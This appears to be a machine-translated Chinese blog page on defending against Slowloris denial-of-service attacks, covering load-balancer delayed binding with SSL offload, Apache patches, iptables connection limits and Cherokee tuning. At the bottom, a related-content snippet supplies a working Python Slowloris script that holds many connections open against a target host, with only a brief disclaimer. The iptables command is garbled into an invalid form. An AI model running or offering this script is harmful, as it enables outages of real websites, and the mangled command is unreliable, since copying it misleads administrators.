Slowloris DOS攻击的原理及防护(续)

负载均衡器和SSL

我们已经解决了房子的HTTP侧,但是HTTPS(SSL)呢? 如果您有一个必须运行端到端加密的环境,并且使用SSL侦听器运行基于Apache的HTTP服务器,那么它很脆弱。 在基于Apache的SSL侦听器前面放置硬件负载均衡器并不能减轻这种漏洞。

这里有一个典型的场景:

客户端尝试HTTPS连接到Web站点。
加载均衡器“前端”网站,可能能够检测SSL会话ID,但不能检查SSL通信量,因此没有进一步的HTTP协议检查能力。
硬件负载均衡器将HTTPS连接发送回基于Apache的HTTP服务器,执行SSL握手,然后在SSL连接中发送HTTP数据。
如果HTTP请求使用该漏洞,则将使用基于Apache的HTTP Server工作线程。由于这是在SSL上完成的,所以使用硬件负载均衡器检查和检测漏洞的能力受到限制。
由于硬件负载均衡器必须能够检查HTTP请求头,以便执行延迟绑定和防止Slowloris,所以它首先必须能够看到HTTP数据。 要做到这一点,您的硬件必须配置为解密SSL,然后执行延迟绑定,这是我们以前讨论过的。
这种配置可以通过CiscoCSS上的后端SSL配置来完成,或者通过在不同的硬件负载均衡器上使用类似的特性来完成。 这确实需要您的负载均衡器使用加密卸载解密传入的SSL通信量。

结论:

默认情况下,硬件负载平衡器不能防止Slowloris。 然而,当配置为执行延迟绑定时,硬件负载均衡器可以是对HTTP的非常有效的保护。 然而,对于HTTPS来说,事情变得更加复杂,因为硬件负载均衡器检查流量的能力上受到限制。 可以通过配置负载均衡器来解密SSL通信量来解决这个问题,以便可以检查HTTP请求并执行延迟绑定。

Apache

我们已经研究了如何配置负载均衡器,那么如何修复Apache本身?
Apache目前的问题在于,它可以通过相对温和的Slowloris攻击脱机。 当然,Apache开发人员肯定正在着手解决这个问题(你懂得)毕竟Apache开发人员的反应好坏参半…
举个例子
ha.ckers.org博客文章中引用的这一问题并未得到重视的回应,以及官方apache.org Slowlorisbug中这一问题被描述为“INVALID”。
幸运的是,一些Apache开发人员对这个问题更加诚实,比如Apache提交者Paul Querna的apache-dev post中关于这个问题:

分裂是错误的方法。

我们都知道我们的建筑是错误的。

我们已经开始修复它,但我们需要完成异步输入
重写主干,但所有黑客攻击它的人,我自己
包括在过去的几年里已经击中了ENOTIME。

希望由此产生的宣传将重新引起人们的兴趣
在解决这个问题的正确方法中,一劳永逸
为了有效地处理Slowloris,有许多修改Apache或添加额外Apache模块的工作。 到目前为止,我们已经研究了其中一个修改。

anti-slowloris.diff

Andreas Krennmair于2009年6月21日在apache-dev列表中发布了一个名为“anti-slowloris.diff.”的补丁,该补丁只适用于prefork MPM,它是Apache如何能够更好地抵御Slowloris攻击的概念证明。

在我们的测试中,我们发现这个补丁不是完全有效的。 虽然它确实允许Apache在基本的Slowloris攻击中生存下来,但当使用更强大的Slowloris攻击时,Apache仍然离线。

其他选择

还有其他选项,如mod_noloris,这些选项正在开发中,并可能被集成到Apache中。 我们还没有时间测试mod_noloris,以确定它是否有效。

结论:
我们还没有找到可以直接集成到Apache中的Slowloris的防御方法。

网过滤器

防止Slowloris的另一种选择是使用类似Linux的netfilter connectimit功能(在内核2.6.23中可用),以限制来自特定主机的传入连接的速率。 这可以为HTTP实现如下:
iptables-A INPUT-p TCP-syn-dport80-m connectimit-connectimit- above100-j DROP
虽然可以有效防御Slowloris,但我们对这种方法确实有一些担忧。

首先,连接限制率必须非常低才能保护Apache。 这可能会导致合法的请求被拒绝,而且可能不是一个可行的解决方案,更高的流量网站。 这也给源自“超级产品”背后的流量带来了问题,因为这些产品很容易达到限制连接速率的截止值。

由于该解决方案不提供任何类型的延迟绑定功能,因此也可以编写Slowloris攻击,以便它利用多个主机,以较慢的连接速率操作,并且Apache很容易脱机。 因此,我们不能单独推荐netfilter作为Slowloris的完全缓解措施。 它可能适用于一些低流量的站点,但不能对有动机的攻击者提供健壮的保护。

替代Web服务器
对于一些组织来说,切换到一个不应该易受Slowloris影响的替代Web服务器可能是防止Slowloris的可行选择。 我们使用切罗基Web服务器进行测试。
初步的切罗基测试
我们在Funtoo Linux上配置了Cherokee,发现它对Slowloris具有弹性,当Slowloris与默认设置一起使用时。 我们甚至能够在Slowloris上增加一点,并且仍然能够从Web服务器加载页面。
然而,当我们进一步发展Slowloris时,我们发现切罗基开始拒绝连接。 经过调查,我们发现切罗基已经耗尽了1024个可用的文件描述符,将服务器限制在512个同时连接。 在提高了系统的默认限制之后,切罗基能够承受一个非常有代表性的Slowloris攻击,并且仍然提供页面。 然而,在主机系统上消耗了数千个文件描述符。

为Slowloris配置Cherokee

在Gentoo Linux或Funtoo Linux上,您可以通过增加Cherokee用户可用的文件描述符的数量来配置Cherokee对Slowloris具有弹性。 为此,首先通过向/etc/security/limits.conf添加以下行来提高用户可用的文件描述符的默认数量:

  •           soft    nofile          4096
    
  •           hard    nofile          5028
    

若应用于Cherokee用户,请将*更改为Cherokee。
接下来,您将需要配置Cherokee,通过修改/etc/cherokee/cherokee.conf或使用Cherokee-admin(高级设置)来利用所有这些文件描述符。可以通过在/etc/cherokee/cherokee.conf中添加以下一行并重新启动Cherokee:

                      server!fdlimit = 4096

虽然Cherokee-admin表示Cherokee将自动检测可用文件描述符的数量,但在我们的测试中似乎没有这样做。

结论
如果您试图防止Slowloris,我们目前的首要建议是:

  1. 测试基础设施以确定其弹性水平。
  2. 不要假设您的基础设施不容易受到Slowloris的影响。
  3. 尽可能利用多层防御。
  4. 在测试时找出限制。 不要仅仅使用默认的Slowloris设置。

一般来说,在配置为执行延迟绑定时,具有SSL加密卸载的硬件负载均衡器是对Slowloris的第一个很好的防御。 这将阻止Apache看到Slowloris流量。 我们关心的仅仅是依赖硬件负载均衡器,它只是一层防御。 然而,一层抗辩可能是一个可接受的临时解决办法。

如果您没有可以配置的硬件负载均衡器来防止Slowloris,并且您处于能够切换Web服务器的位置,那么我们的建议是部署替代HTTP服务器,如Cherokee,并配置它,以便它能够处理大量同时连接。

还可以考虑将Cherokee和Linux netfilter连接速率限制(对于内核2.6.23)与高阈值相结合使Web服务器将有足够的资源来处理典型的Slowloris攻击,极端攻击将达到连接速率限制并被拒绝。 我们对这种方法的一个担忧是,它仍然会导致重要的内核资源被使用,因为没有执行延迟绑定。 这可能导致资源问题,导致性能下降,并可能使复杂的多主机攻击有效。

如果可能的话,可以使用多种方法的组合,例如配置正确的硬件负载均衡器和弹性Web服务器。 并请测试您的配置,以确保您的防御工作正常!

https://catalog.caida.org/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
Slowloris攻击是一种利用HTTP协议的漏洞进行的拒绝服务(DoS攻击。它通过发送大量的半连接(Half-open connections)来耗尽目标服务器的资源,从而使其无法正常响应其他合法用户的请求。 在Python中,可以使用socket库来实现Slowloris攻击。下面是一个简单的示例代码: ```python import socket import random import time def slowloris_attack(target_host, target_port, num_connections): # 创建指定数量的socket连接 sockets = [] for _ in range(num_connections): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(4) s.connect((target_host, target_port)) sockets.append(s) # 发送HTTP请求头部 headers = "GET / HTTP/1.1\r\n" + \ "Host: " + target_host + "\r\n" + \ "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\r\n" + \ "Accept-language: en-US,en,q=0.5\r\n" + \ "Connection: keep-alive\r\n" + \ "Content-Length: 42\r\n" # 持发送数据 while True: for s in sockets: try: s.send(headers.encode()) except socket.error: sockets.remove(s) # 随机延迟发送时间 time.sleep(random.randint(1, 10)) # 使用示例 target_host = "example.com" target_port = 80 num_connections = 100 slowloris_attack(target_host, target_port, num_connections) ``` 请注意,上述代码仅供学习和研究目的,请勿用于非法用途。进行任何未经授权的攻击是违法行为,可能会导致严重的法律后果。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

矢沢心

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值